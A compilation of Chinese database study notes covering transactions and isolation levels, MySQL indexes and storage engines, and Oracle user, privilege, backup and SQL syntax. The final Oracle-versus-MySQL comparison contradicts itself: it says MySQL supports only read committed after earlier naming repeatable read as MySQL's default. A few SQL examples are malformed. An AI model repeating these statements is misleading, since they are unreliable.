隔离性:并发执行的事务彼此无法看到对方的中间状态。
持久性 :Durability
持久性:当事务完成后,它对于数据的改变是永久性的,即使出现致命的系统故障也将一直保持。
在实际生产应用中 针对 事务的隔离性 又划分出了几种隔离级别
并发事务处理带来的问题
当两个或多个事务选择同一行,然后基于最初选定的值更新该行时,由于每个事务都不知道其他事务的存在,就会发生丢失更新问题–最后的更新覆盖了由其他事务所做的更新
解读:两个事务 A 和 B,首先 A 事务对 数据 a 执行加 500 的操作 a = 1500,此时 B 事务读取数据 a 的值 1500,后 A 事务 又对数据 a 执行减500 的操作 a = 1000 ,A 事务 commit 。
不可重复读:事务 A 多次读取同一数据,事务 B 在事务A多次读取的过程中,对数据作了更新并提交,导致事务A多次读取同一数据时,结果 不一致。
解读:两个事务 A 和 B,首先 A 事务对 数据 a 进行查询 a = 1000,此时 B 事务对数据 a + 500 操作,并提交事。后 A 事务 又对 数据 a 进行查询 a = 1500 。
幻读:事务 A 将数据库中所有数据类型从默认的 true 改成 false,但是事务 B 就在这个时候插入了一条新记录,当事务 A改结束后发现还有一条记录没有改过来,就好像发生了幻觉一样,这就叫幻读。
小结:不可重复读的和幻读很容易混淆,不可重复读侧重于修改,幻读侧重于新增或删除。解决不可重复读的问题只需锁住满足条件的行,解决幻读需要锁表。
原子性是指事务是一个不可分割的工作单位,事务中的操作要么全部成功,要么全部失败。比如在同一个事务中的SQL语句,要么全部执行成功,要么全部执行失败
官网上事务一致性的概念是:事务必须使数据库从一个一致性状态变换到另外一个一致性状态。以转账为例子,A向B转账,假设转账之前这两个用户的钱加起来总共是2000,那么A向B转账之后,不管这两个账户怎么转,A用户的钱和B用户的钱加起来的总额还是2000,这个就是事务的一致性。
事务的隔离性是多个用户并发访问数据库时,数据库为每一个用户开启的事务,不能被其他事务的操作数据所干扰,多个并发事务之间要相互隔离。
持久性是指一个事务一旦被提交,它对数据库中数据的改变就是永久性的,接下来即使数据库发生故障也不应该对其有任何影响
事务的四大特性中最麻烦的是隔离性,下面重点介绍一下事务的隔离级别
多个线程开启各自事务操作数据库中数据时,数据库系统要负责隔离操作,以保证各个线程在获取数据时的准确性。
如果事务不考虑隔离性,可能会引发如下问题:
脏读指一个事务读取了另外一个事务未提交的数据。
这是非常危险的,假设A向B转帐100元,对应sql语句如下所示
1.update account set money=money+100 where name=‘B’;
2.update account set money=money-100 where name=‘A’;
当第1条sql执行完,第2条还没执行(A未提交时),如果此时B查询自己的帐户,就会发现自己多了100元钱。如果A等B走后再回滚,B就会损失100元。
不可重复读指在一个事务内读取表中的某一行数据,多次读取结果不同。
例如银行想查询A帐户余额,第一次查询A帐户为200元,此时A向帐户内存了100元并提交了,银行接着又进行了一次查询,此时A帐户为300元了。银行两次查询不一致,可能就会很困惑,不知道哪次查询是准的。
不可重复读和脏读的区别是,脏读是读取前一事务未提交的脏数据,不可重复读是重新读取了前一事务已提交的数据。
很多人认为这种情况就对了,无须困惑,当然是后面的为准。我们可以考虑这样一种情况,比如银行程序需要将查询结果分别输出到电脑屏幕和写到文件中,结果在一个事务中针对输出的目的地,进行的两次查询不一致,导致文件和屏幕中的结果不一致,银行工作人员就不知道以哪个为准了。
虚读(幻读)是指在一个事务内读取到了别的事务插入的数据,导致前后读取不一致。
如丙存款100元未提交,这时银行做报表统计account表中所有用户的总额为500元,然后丙提交了,这时银行再统计发现帐户为600元了,造成虚读同样会使银行不知所措,到底以哪个为准。
MySQL数据库共定义了四种隔离级别:
mysql数据库查询当前事务隔离级别:select @@tx_isolation
*例如:*
mysql数据库默认的事务隔离级别是:Repeatable read(可重复读)
mysql数据库设置事务隔离级别:set transaction isolation level 隔离级别名
**例如:****
同时打开两个窗口模拟2个用户并发访问数据库
A窗口
set transaction isolation level read uncommitted;–设置A用户的数据库隔离级别为Read uncommitted(读未提交)
start transaction;–开启事务
select * from account;–查询A账户中现有的钱,转到B窗口进行操作
select * from account–发现a多了100元,这时候A读到了B未提交的数据(脏读)
B窗口
start transaction;–开启事务
update account set money=money+100 where name=‘A’;–不要提交,转到A窗口查询
A窗口
set transaction isolation level read committed;
start transaction;
select * from account;–发现a帐户是1000元,转到b窗口
select * from account;–发现a帐户多了100,这时候,a读到了别的事务提交的数据,两次读取a帐户读到的是不同的结果(不可重复读)
B窗口
start transaction;
update account set money=money+100 where name=‘aaa’;
commit;–转到a窗口
A窗口
set transaction isolation level repeatable read;
start transaction;
select * from account;–发现表有4个记录,转到b窗口
select * from account;–可能发现表有5条记录,这时候发生了a读取到另外一个事务插入的数据(虚读)
B窗口
start transaction;
insert into account(name,money) values(‘ggg’,1000);
commit;–转到a窗口
A窗口
set transaction isolation level Serializable;
start transaction;
select * from account;–转到b窗口
B窗口
start transaction;
insert into account(name,money) values(‘ggg’,1000);–发现不能插入,只能等待a结束事务才能插入
第一范式:每个列都不可以再拆分。
第二范式:在第一范式的基础上,非主键列完全依赖于主键,而不能是依赖于主键的一部分。
第三范式:在第二范式的基础上,非主键列只依赖于主键,不依赖于其他非主键。
在设计数据库结构的时候,要尽量遵守三范式,如果不遵守,必须有足够的理由。比如性能。事实上我们经常会为了性能而妥协数据库的设计。
MySQL服务器通过权限表来控制用户对数据库的访问,权限表存放在mysql数据库里,由mysql_install_db脚本初始化。这些权限表分别user,db,table_priv,columns_priv和host。下面分别介绍一下这些表的结构和内容:
user权限表:记录允许连接到服务器的用户帐号信息,里面的权限是全局级的。
db权限表:记录各个帐号在各个数据库上的操作权限。
table_priv权限表:记录数据表级的操作权限。
columns_priv权限表:记录数据列级的操作权限。
host权限表:配合db权限表对给定主机上数据库级操作权限作更细致的控制。这个权限表不受GRANT和REVOKE语句的影响。
MySQL的binlog有有几种录入格式?分别有什么区别?
有三种格式,statement,row和mixed。
statement模式下,每一条会修改数据的sql都会记录在binlog中。不需要记录每一行的变化,减少了binlog日志量,节约了IO,提高性能。由于sql的执行是有上下文的,因此在保存的时候需要保存相关的信息,同时还有一些使用了函数之类的语句无法被记录复制。
row级别下,不记录sql语句上下文相关信息,仅保存哪条记录被修改。记录单元为每一行的改动,基本是可以全部记下来但是由于很多操作,会导致大量行的改动(比如alter table),因此这种模式的文件保存的信息太多,日志量太大。
mixed,一种折中的方案,普通操作使用statement记录,当无法使用statement的时候使用row。
此外,新版的MySQL中对row级别也做了一些优化,当表结构发生变化的时候,会记录语句而不是逐行记录。
数据类型
mysql有哪些数据类型
1、整数类型,包括TINYINT、SMALLINT、MEDIUMINT、INT、BIGINT,分别表示1字节、2字节、3字节、4字节、8字节整数。任何整数类型都可以加上UNSIGNED属性,表示数据是无符号的,即非负整数。
长度:整数类型可以被指定长度,例如:INT(11)表示长度为11的INT类型。长度在大多数场景是没有意义的,它不会限制值的合法范围,只会影响显示字符的个数,而且需要和UNSIGNED ZEROFILL属性配合使用才有意义。
例子,假定类型设定为INT(5),属性为UNSIGNED ZEROFILL,如果用户插入的数据为12的话,那么数据库实际存储数据为00012。
2、实数类型,包括FLOAT、DOUBLE、DECIMAL。
DECIMAL可以用于存储比BIGINT还大的整型,能存储精确的小数。
而FLOAT和DOUBLE是有取值范围的,并支持使用标准的浮点进行近似计算。
计算时FLOAT和DOUBLE相比DECIMAL效率更高一些,DECIMAL你可以理解成是用字符串进行处理。
3、字符串类型,包括VARCHAR、CHAR、TEXT、BLOB
VARCHAR用于存储可变长字符串,它比定长类型更节省空间。
VARCHAR使用额外1或2个字节存储字符串长度。列长度小于255字节时,使用1字节表示,否则使用2字节表示。
VARCHAR存储的内容超出设置的长度时,内容会被截断。
CHAR是定长的,根据定义的字符串长度分配足够的空间。
CHAR会根据需要使用空格进行填充方便比较。
CHAR适合存储很短的字符串,或者所有值都接近同一个长度。
CHAR存储的内容超出设置的长度时,内容同样会被截断。
使用策略:
对于经常变更的数据来说,CHAR比VARCHAR更好,因为CHAR不容易产生碎片。
对于非常短的列,CHAR比VARCHAR在存储空间上更有效率。
使用时要注意只分配需要的空间,更长的列排序时会消耗更多内存。
尽量避免使用TEXT/BLOB类型,查询时会使用临时表,导致严重的性能开销。
4、枚举类型(ENUM),把不重复的数据存储为一个预定义的集合。
有时可以使用ENUM代替常用的字符串类型。
ENUM存储非常紧凑,会把列表值压缩到一个或两个字节。
ENUM在内部存储时,其实存的是整数。
尽量避免使用数字作为ENUM枚举的常量,因为容易混乱。
排序是按照内部存储的整数
5、日期和时间类型,尽量使用timestamp,空间效率高于datetime,
用整数保存时间戳通常不方便处理。
如果需要存储微妙,可以使用bigint存储。
看到这里,这道真题是不是就比较容易回答了。
存储引擎Storage engine:MySQL中的数据、索引以及其他对象是如何存储的,是一套文件系统的实现。
常用的存储引擎有以下:
Innodb引擎:Innodb引擎提供了对数据库ACID事务的支持。并且还提供了行级锁和外键的约束。它的设计的目标就是处理大数据容量的数据库系统。
MyIASM引擎(原本Mysql的默认引擎):不提供事务的支持,也不支持行级锁和外键。
MEMORY引擎:所有的数据都在内存中,数据的处理速度快,但是安全性不高。
MyISAM索引与InnoDB索引的区别?
InnoDB索引是聚簇索引,MyISAM索引是非聚簇索引。
InnoDB的主键索引的叶子节点存储着行数据,因此主键索引非常高效。
MyISAM索引的叶子节点存储的是行数据地址,需要再寻址一次才能得到数据。
InnoDB非主键索引的叶子节点存储的是主键和其他带索引的列数据,因此查询时做到覆盖索引会非常高效。
InnoDB引擎的4大特性
插入缓冲(insert buffer)
二次写(double write)
自适应哈希索引(ahi)
预读(read ahead)
存储引擎选择
如果没有特别的需求,使用默认的Innodb即可。
MyISAM:以读写插入为主的应用程序,比如博客系统、新闻门户网站。
Innodb:更新(删除)操作频率也高,或者要保证数据的完整性;并发量高,支持事务和外键。比如OA自动化办公系统。
索引是一种特殊的文件(InnoDB数据表上的索引是表空间的一个组成部分),它们包含着对数据表里所有记录的引用指针。
索引是一种数据结构。数据库索引,是数据库管理系统中一个排序的数据结构,以协助快速查询、更新数据库表中数据。索引的实现通常使用B树及其变种B+树。
更通俗的说,索引就相当于目录。为了方便查找书中的内容,通过对内容建立索引形成目录。索引是一个文件,它是要占据物理空间的。
索引的优点
可以大大加快数据的检索速度,这也是创建索引的最主要的原因。
通过使用索引,可以在查询的过程中,使用优化隐藏器,提高系统的性能。
索引的缺点
时间方面:创建索引和维护索引要耗费时间,具体地,当对表中的数据进行增加、删除和修改的时候,索引也要动态的维护,会降低增/改/删的执行效率;
空间方面:索引需要占物理空间。
主键索引: 数据列不允许重复,不允许为NULL,一个表只能有一个主键。
唯一索引: 数据列不允许重复,允许为NULL值,一个表允许多个列创建唯一索引。
可以通过 ALTER TABLE table_name ADD UNIQUE (column); 创建唯一索引
可以通过 ALTER TABLE table_name ADD UNIQUE (column1,column2); 创建唯一组合索引
普通索引: 基本的索引类型,没有唯一性的限制,允许为NULL值。
可以通过ALTER TABLE table_name ADD INDEX index_name (column);创建普通索引
可以通过ALTER TABLE table_name ADD INDEX index_name(column1, column2, column3);创建组合索引
全文索引: 是目前搜索引擎使用的一种关键技术。
可以通过ALTER TABLE table_name ADD FULLTEXT (column);创建全文索引
索引的数据结构(b树,hash)
索引的数据结构和具体存储引擎的实现有关,在MySQL中使用较多的索引有Hash索引,B+树索引等,而我们经常使用的InnoDB存储引擎的默认索引实现为:B+树索引。对于哈希索引来说,底层的数据结构就是哈希表,因此在绝大多数需求为单条记录查询的时候,可以选择哈希索引,查询性能最快;其余大部分场景,建议选择BTree索引。
1)B树索引
mysql通过存储引擎取数据,基本上90%的人用的就是InnoDB了,按照实现方式分,InnoDB的索引类型目前只有两种:BTREE(B树)索引和HASH索引。B树索引是Mysql数据库中使用最频繁的索引类型,基本所有存储引擎都支持BTree索引。通常我们说的索引不出意外指的就是(B树)索引(实际是用B+树实现的,因为在查看表索引时,mysql一律打印BTREE,所以简称为B树索引)
创建索引的三种方式,删除索引
第一种方式:在执行CREATE TABLE时创建索引
CREATE TABLE user_index2 (
id INT auto_increment PRIMARY KEY,
first_name VARCHAR (16),
last_name VARCHAR (16),
id_card VARCHAR (18),
information text,
KEY name (first_name, last_name),
FULLTEXT KEY (information),
UNIQUE KEY (id_card)
);
第二种方式:使用ALTER TABLE命令去增加索引
ALTER TABLE table_name ADD INDEX index_name (column_list);
ALTER TABLE用来创建普通索引、UNIQUE索引或PRIMARY KEY索引。
其中table_name是要增加索引的表名,column_list指出对哪些列进行索引,多列时各列之间用逗号分隔。
索引名index_name可自己命名,缺省时,MySQL将根据第一个索引列赋一个名称。另外,ALTER TABLE允许在单个语句中更改多个表,因此可以在同时创建多个索引。
第三种方式:使用CREATE INDEX命令创建
CREATE INDEX index_name ON table_name (column_list);
CREATE INDEX可对表增加普通索引或UNIQUE索引。(但是,不能创建PRIMARY KEY索引)
删除索引
根据索引名删除普通索引、唯一索引、全文索引:alter table 表名 drop KEY 索引名
alter table user_index drop KEY name;
alter table user_index drop KEY id_card;
alter table user_index drop KEY information;
删除主键索引:alter table 表名 drop primary key(因为主键只有一个)。这里值得注意的是,如果主键自增长,那么不能直接执行此操作(自增长依赖于主键索引):
需要取消自增长再行删除:
alter table user_index
– 重新定义字段
MODIFY id int,
drop PRIMARY KEY
但通常不会删除主键,因为设计主键一定与业务逻辑无关。
创建索引时需要注意什么?
非空字段:应该指定列为NOT NULL,除非你想存储NULL。在mysql中,含有空值的列很难进行查询优化,因为它们使得索引、索引的统计信息以及比较运算更加复杂。你应该用0、一个特殊的值或者一个空串代替空值;
取值离散大的字段:(变量各个取值之间的差异程度)的列放到联合索引的前面,可以通过count()函数查看字段的差异值,返回值越大说明字段的唯一值越多字段的离散程度高;
索引字段越小越好:数据库的数据存储以页为单位一页存储的数据越多一次IO操作获取的数据越大效率越高。
使用索引查询一定能提高查询的性能吗?为什么
通常,通过索引查询数据比全表扫描要快。但是我们也必须注意到它的代价。
索引需要空间来存储,也需要定期维护, 每当有记录在表中增减或索引列被修改时,索引本身也会被修改。 这意味着每条记录的INSERT,DELETE,UPDATE将为此多付出4,5 次的磁盘I/O。 因为索引需要额外的存储空间和处理,那些不必要的索引反而会使查询反应时间变慢。使用索引查询不一定能提高查询性能,索引范围查询(INDEX RANGE SCAN)适用于两种情况:
基于一个范围的检索,一般查询返回结果集小于表中记录数的30%
基于非唯一性索引的检索
百万级别或以上的数据如何删除
关于索引:由于索引需要额外的维护成本,因为索引文件是单独存在的文件,所以当我们对数据的增加,修改,删除,都会产生额外的对索引文件的操作,这些操作需要消耗额外的IO,会降低增/改/删的执行效率。所以,在我们删除数据库百万级别数据的时候,查询MySQL官方手册得知删除数据的速度和创建的索引数量是成正比的。
所以我们想要删除百万数据的时候可以先删除索引(此时大概耗时三分多钟)
然后删除其中无用数据(此过程需要不到两分钟)
删除完成后重新创建索引(此时数据较少了)创建索引也非常快,约十分钟左右。
与之前的直接删除绝对是要快速很多,更别说万一删除中断,一切删除会回滚。那更是坑了。
1、创建用户
概述:在oracle中要创建一个新的用户使用create user语句,一般是具有dba(数据库管理员)的权限才能使用。
create user 用户名 identified by 密码;
注意:oracle有个毛病,密码必须以字母开头,如果以数字开头,它不会创建用户
eg、create user xiaoming identified by oracle;
2、给用户修改密码
概述:如果给自己修改密码可以直接使用
SQL> password 用户名或passw
如果给别人修改密码则需要具有dba的权限,或是拥有alter user的系统权限
SQL> alter user 用户名 identified by 新密码
3、删除用户
概述:一般以dba的身份去删除某个用户,如果用其它用户去删除用户则需要具有drop user的权限。
比如drop user 用户名 【cascade】
注意:在删除用户时,如果要删除的用户,已经创建了表,那么就需要在删除的时候带一个参数cascade,即把该用户及表一同删除;
4、权限
权限分为系统权限和对象权限。
何为系统权限?
用户对数据库的相关权限,connect、resource、dba等系统权限,如建库、建表、建索引、建存储过程、登陆数据库、修改密码等。
何为对象权限?
用户对其他用户的数据对象操作的权限,insert、delete、update、select、all等对象权限,数据对象有很多,比如表,索引,视图,触发器、存储过程、包等。
执行SELECT * FROM Dba_Object_Size;语句可得到oracle数据库对象。
5、角色
角色分为预定义角色和自定义角色。
6、用户管理的综合案例
概述:创建的新用户是没有任何权限的,甚至连登陆的数据库的权限都没有,需要为其指定相应的权限。给一个用户赋权限使用命令grant,回收权限使用命令revoke。
为了讲清楚用户的管理,这里我给大家举一个案例。
SQL> conn xiaoming/oracle
ERROR:
ORA-01045: user XIAOMING lacks CREATE SESSION privilege; logon denied
警告: 您不再连接到 ORACLE。
SQL> show user
USER 为 “”
SQL> conn system/oracle
已连接。
SQL> grant connect to xiaoming;
授权成功。
SQL> conn xiaoming/oracle
已连接。
注意:grant connect to xiaoming;在这里,准确的讲,connect不是权限,而是角色。
现在说下对象权限,现在要做这么件事情:
* 希望xiaoming用户可以去查询emp表
* 希望xiaoming用户可以去查询scott的emp表
grant select on scott.emp to xiaoming
* 希望xiaoming用户可以去修改scott的emp表
grant update on scott.emp to xiaoming
* 希望xiaoming 用户可以去修改/删除,查询,添加scott的emp表
grant all on scott.emp to xiaoming
* scott希望收回xiaoming对emp表的查询权限
revoke select on scott.emp from xiaoming
1、创建数据库
create database databasename
2、删除数据库
drop database dbname
3、备份数据库
完全备份
exp demo/demo@orcl buffer=1024 file=d:\back.dmp full=y
demo:用户名、密码
buffer: 缓存大小
file: 具体的备份文件地址
full: 是否导出全部文件
ignore: 忽略错误,如果表已经存在,则也是覆盖
将数据库中system用户与sys用户的表导出
exp demo/demo@orcl file=d:\backup\1.dmp owner=(system,sys)
导出指定的表
exp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
按过滤条件,导出
exp demo/demo@orcl file=d:\back.dmp tables=(table1) query=" where filed1 like ‘fg%’"
导出时可以进行压缩;命令后面 加上 compress=y ;如果需要日志,后面: log=d:\log.txt
备份远程服务器的数据库
exp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y
4、数据库还原
打开cmd直接执行如下命令,不用再登陆sqlplus。
完整还原
imp demo/demo@orcl file=d:\back.dmp full=y ignore=y log=D:\implog.txt
指定log很重要,便于分析错误进行补救。
导入指定表
imp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
还原到远程服务器
imp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y
create table student (
Id number(4) primary key,
xh number(4) , --学号
xm varchar2(20), --姓名
sex char(2), --性别
birthday date, --出生日期
sal number(7,2) --奖学金
);
create table class(
classid number(2),
cname varchar2(40)
);
–修改表
–添加一个字段
alter table student add (classid number(2));
–修改一个字段的长度
alter table student modify (xm varchar2(30));
–修改字段的类型或是名字(不能有数据) 不建议做
alter table student modify (xm char(30));
–删除一个字段 不建议做(删了之后,顺序就变了。加就没问题,应该是加在后面)
alter table student drop column sal;
–修改表的名字 很少有这种需求
rename student to stu;
–创建自增列
create sequence student
increment by 1 – 每次加几个
start with 1 – 从1开始计数
minvalue 1 --最小值为1
NOMAXvalue – 不设置最大值 (maxvalue 99999999 等同于maxvalue 99999999 )
cache 10; --设置缓存cache个序列,如果系统down掉了或者其它情况将会导致序列不连续,
nocache; --一直累加 不循环
一旦定义了S_Test,你就可以用currval,nextval
currval=返回 sequence的当前值
nextval=增加sequence的值,然后返回 sequence 值
比如:
S_Test.CURRVAL
S_Test.NEXTVAL
insert into student(id,xh, xm, sex) values (student.Nextval,‘a003’, ‘john’, ‘女’);
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],…)
根据已有的表创建新表:
A:select * into table_new from table_old (使用旧表创建新表)
B:create table tab_new as select col1,col2… from tab_old definition only<仅适用于Oracle>
drop table tabname
说明:alter table 表名 rename to 新表名
eg:alter table tablename rename to newtablename
说明:alter table 表名 add (字段名 字段类型 默认值 是否为空);
例:alter table tablename add (ID int);
eg:alter table tablename add (ID varchar2(30) default ‘空’ not null);
说明:alter table 表名 modify (字段名 字段类型 默认值 是否为空);
eg:alter table tablename modify (ID number(4));
说明:alter table 表名 rename column 列名 to 新列名 (其中:column是关键字)
eg:alter table tablename rename column ID to newID;
说明:alter table 表名 drop column 字段名;
eg:alter table tablename drop column ID;
alter table tabname add primary key(col)
alter table tabname drop primary key(col)
create [unique] index idxname on tabname(col….)
drop index idxname
注:索引是不可更改的,想更改必须删除重新建。
create view viewname as select statement
drop view viewname
select <列名> from <表名> [where <查询条件表达试>] [order by <排序的列名>[asc或desc]]
insert into 表名 values(所有列的值);
insert into test values(1,‘zhangsan’,20);
insert into 表名(列) values(对应的值);
insert into test(id,name) values(2,‘lisi’);
update 表 set 列=新的值 [where 条件] -->更新满足条件的记录
update test set name=‘zhangsan2’ where name=‘zhangsan’
update 表 set 列=新的值 -->更新所有的数据
update test set age =20;
delete from 表名 where 条件 -->删除满足条件的记录
delete from test where id = 1;
delete from test -->删除所有
commit; -->提交数据
rollback; -->回滚数据
delete方式可以恢复删除的数据,但是提交了,就没办法了 delete删除的时候,会记录日志 -->删除会很慢很慢
truncate table 表名
删除所有数据,不会影响表结构,不会记录日志,数据不能恢复 -->删除很快
drop table 表名
删除所有数据,包括表结构一并删除,不会记录日志,数据不能恢复–>删除很快
表数据复制
insert into table1 (select * from table2);
复制表结构
create table table1 select * from table2 where 1>1;
复制表结构和数据
create table table1 select * from table2;
复制指定字段
create table table1 as select id, name from table2 where 1>1;
一.入门部分
1. 创建表空间
create tablespace schooltbs datafile ‘D:\oracle\datasource\schooltbs.dbf’ size 10M autoextend on;
2. 删除表空间
drop tablespace schooltbs[including contents and datafiles];
3. 查询表空间基本信息
select *||tablespace_name from DBA_TABLESPACES;
4. 创建用户
create user lihua
identified by lihua
default tablespace schooltbs
temporary tablespace temp;
5. 更改用户
alter user lihua
identified by 123
default tablespace users;
6. 锁定用户
alter user lihua account lock|unlock;
7. 删除用户
drop user lihua cascade;--删除用户模式
8. oracle数据库中的角色
connect,dba,select_catalog_role,delete_catalog_role,execute_catalog_role,exp_full_database,imp_full_database,resource
9. 授予连接服务器的角色
grant connect to lihua;
10. 授予使用表空间的角色
grant resource to lihua with grant option;--该用户也有授权的权限
11. 授予操作表的权限
grant select,insert on user_tbl to scott;--当前用户
grant delete,update on lihua.user_tbl to scott;--系统管理员
二.SQL查询和SQL函数
1.SQl支持的命令:
数据定义语言(DDL):create,alter,drop
数据操纵语言(DML):insert,delete,update,select
数据控制语言(DCL):grant,revoke
事务控制语言(TCL):commit,savepoint,rollback
2.Oracle数据类型
字符,数值,日期,RAW,LOB
字符型
char:1-2000字节的定长字符
varchar2:1-4000字节的变长字符
long:2GB的变长字符
注意:一个表中最多可有一列为long型
Long列不能定义唯一约束或主键约束
long列上不能创建索引
过程或存储过程不能接受long类型的参数。
数值型
number:最高精度38位
日期时间型
date:精确到ss
timestamp:秒值精确到小数点后6位
函数
sysdate,systimestamp返回系统当前日期,时间和时区。
更改时间的显示
alter session set nls_date_language=’american’;
alter session set nls_date_format=’yyyy-mm-dd’;
Oracle中的伪列
像一个表列,但没有存储在表中
伪列可以查询,但不能插入、更新和修改它们的值
常用的伪列:rowid和rownum
rowid:表中行的存储地址,可唯一标示数据库中的某一行,可以使用该列快速定位表中的行。
rownum:查询返回结果集中的行的序号,可以使用它来限制查询返回的行数。
3.数据定义语言
用于操作表的命令
create table
alter table
truncate table
drop table
修改表的命令
alter table stu_table rename to stu_tbl;--修改表名
alter table stu_tbl rename column stu_sex to sex;--修改列名
alter table stu_tbl add (stu_age number);--添加新列
alter table stu_tbl drop(sex);--删除列
alter table stu_tbl modify(stu_sex varchar2(2));--更改列的数据类型
alter table stu_tbl add constraint pk_stu_tbl primary key(id);--添加约束
4.数据操纵语言
select,update,delete,insert
利用现有的表创建表
create table stu_tbl_log as select id,stu_name,stu_age from stu_tbl;--
选择无重复的行
select distinct stu_name from stu_tbl;--
插入来自其他表中的记录
insert into stu_tbl_log select id,stu_name,stu_age from stu_tbl;
5.数据控制语言
grant,revoke
6.事务控制语言
commit,savepoint,rollback
7.SQL操作符
算术操作符:L+-*/
比较操作符:L=,!=,<>,>,<,>=,<=,between-and,in,like,is null等
逻辑操作符:Land,or,not
集合操作符:Lunion,union all,intersect,minus
连接操作符:L||
示例中stu_tbl_log中的数据如下:
ID STU_NAME STU_AGE
---------- -------------------- ----------
1000 李华 20
1001 accp 20
1003 nimda 3
stu_tbl中的数据如下:
ID STU_NAME ST STU_AGE
---------- -------------------- -- ----------
1000 李华 男 20
1001 accp 男 20
1002 admin 男 30
示例:
select (3+2)/2 from dual;--算术操作符,结果:2.5
select * from stu_tbl where stu_age>=20;--比较操作符
select * from stu_tbl where stu_name like '%a%';--比较操作符:like
select * from stu_tbl where stu_name like 'a___';--比较操作符:like
select * from stu_tbl where stu_age in(20,30);--比较操作符:in
select * from stu_tbl where stu_age between 20 and 30;--比较操作符:between
select stu_name from stu_tbl union all
select stu_name from stu_tbl_log;--集合操作符:union all,测试结果具体如下:
STU_NAME
-----------
李华
accp
admin
李华
accp
nimda
已选择6行。
select stu_name from stu_tbl union
select stu_name from stu_tbl_log;--集合操作符:union,测试结果具体如下:
STU_NAME
---------
accp
admin
nimda
李华
select stu_name from stu_tbl intersect
select stu_name from stu_tbl_log;--集合操作符:intersect,测试结具体如下:
STU_NAME
----------
accp
李华
select stu_name from stu_tbl minus
select stu_name from stu_tbl_log;--集合操作符:minus,测试结果如下:
STU_NAME
----------
Admin
从中可以看出:
minus是获取第一张表独有的数据
intersect是获取两张表中都有的数据
union是整合两张表的数据,都有的只显示一次
union all是纯粹的两张表数据整合
select id,stu_name||' '||stu_sex as name_sex,stu_age
from stu_tbl;--连接操作符||,测试结果具体如下:
ID NAME_SEX STU_AGE
---------- ----------------------- ----------
1000 李华 男 20
1001 accp 男 20
1002 admin 男 30
8.SQL函数
单行函数:从表中查询的每一行只返回一个值,可出现在select子句,where子句中
日期函数
数字函数
字符函数
转换函数:ToChar(),ToDate(),ToNumber()
其他函数:
Nvl(exp1,exp2):表达式一为null时,返回表达式二
Nvl2(exp1,exp2,exp3):表达式一为null时返回表达式三,否则返回表达式二
Nullif(exp1,exp2):两表达式相等时,返回null,否则返回表达式一
分组函数:基于一组行来返回
Avg,Min,Max,Sum,Count
Group by,having
分析函数
Row_number,rank,dense_rank
示例:
select u.user_name,sum(oi.order_num*oi.order_price) as total,row_number() over (order by sum(oi.order_num*oi.order_price) desc) as sort from order_item_tbl
oi,user_tbl u,order_tbl o where oi.order_id = o.id and o.user_id = u.id group by u.user_name;
三.锁和数据库对象
1.锁:数据库用来控制共享资源并发访问的机制。
锁的类型:行级锁,表级锁
行级锁:对正在被修改的行进行锁定。行级锁也被称之为排他锁。
在使用下列语句时,Oracle会自动应用行级锁:
insert,update,delete,select…… for update
select……for update允许用户一次锁定多条记录进行更新。
使用commit or rollback释放锁。
表级锁:
lock table user_tbl in mode mode;
表级锁类型:
行共享 row share
行排他 row exclusive
共享 share
共享行排他 share row exclusive
排他 exclusive
死锁:两个或两个以上的事务相互等待对方释放资源,从而形成死锁
2.数据库对象
oracle数据库对象又称模式对象
数据库对象是逻辑结构的集合,最基本的数据库对象是表
数据库对象:
表,序列,视图,索引
序列
用于生成唯一,连续序号的对象。
创建语法:
create sequence user_id_seq
start with 1000
increment by 1
maxvalue 2000
minvalue 1000
nocycle
cache 1000;--指定内存中预先分配的序号
访问序列:
select user_id_seq.currval from dual;
select user_id-seq.nextval from dual;
更改删除序列:
alter sequence user_id_seq maxvalue 10000;--不能修改其start with 值
drop sequence user_id_seq;
在Hibernate中访问序列:
<generator class="sequence">
<param name="sequence">
user_id_seq
</param>
</generator>
视图
以经过定制的方式显示来自一个或多个表的数据
创建视图:
create or replace view
user_tbl_view (vid,vname,vage)
as select id,user_name,age from user_tbl
[with check option]|[with read only];
创建带有错误的视图:
create force view user_tbl_force_view as
select * from user_table;--此时user_table可以不存在
创建外联接视图:
create view user_stu_view as
select u.id,u.user_name,u.password,s.ddress
from user_tbl u,stu_tbl s
where u.s_id(+)=s.id;--哪一方带有(+),哪一方就是次要的
删除视图:
drop user_stu_view;
索引
用于提高SQL语句执行的性能
索引类型:
唯一索引,位图索引,组合索引,基于函数的索引,反向键索引
创建标准索引:
create index user_id_index on user_tbl(id) tablespace schooltbs;
重建索引:
alter index user_id_index rebuild;
删除索引:
drop index user_id_index;
创建唯一索引:
create unique index user_id_index on user_tbl(id);
创建组合索引:
create index name_pass_index on user_tbl(user_name,password);
创建反向键索引:
create index user_id_index on user_tbl(id) reverse;
并发性是oltp数据库最重要的特性,但并发涉及到资源的获取、共享与锁定。
mysql:
mysql以表级锁为主,对资源锁定的粒度很大,如果一个session对一个表加锁时间过长,会让其他session无法更新此表中的数据。
虽然InnoDB引擎的表可以用行级锁,但这个行级锁的机制依赖于表的索引,如果表没有索引,或者sql语句没有使用索引,那么仍然使用表级锁。
oracle:
oracle使用行级锁,对资源锁定的粒度要小很多,只是锁定sql需要的资源,并且加锁是在数据库中的数据行上,不依赖与索引。所以oracle对并发性的支持要好很多。
oracle:
oracle支持serializable的隔离级别,可以实现最高级别的读一致性。每个session提交后其他session才能看到提交的更改。oracle通过在undo表空间中构造多版本数据块来实现读一致性,
每个session查询时,如果对应的数据块发生变化,oracle会在undo表空间中为这个session构造它查询时的旧的数据块。
mysql:
mysql没有类似oracle的构造多版本数据块的机制,只支持read commited的隔离级别。一个session读取数据时,其他session不能更改数据,但可以在表最后插入数据。
session更新数据时,要加上排它锁,其他session无法访问数据。
oracle很早就完全支持事务。
mysql在innodb存储引擎的行级锁的情况下才支持事务。
oracle
保证提交的数据均可恢复,因为oracle把提交的sql操作线写入了在线联机日志文件中,保持到了磁盘上,
如果出现数据库或主机异常重启,重启后oracle可以考联机在线日志恢复客户提交的数据。
mysql:
默认提交sql语句,但如果更新过程中出现db或主机重启的问题,也许会丢失数据。
oracle默认不自动提交,需要用户手动提交。
mysql默认是自动提交。
oracle逻辑备份时不锁定数据,且备份的数据是一致的。
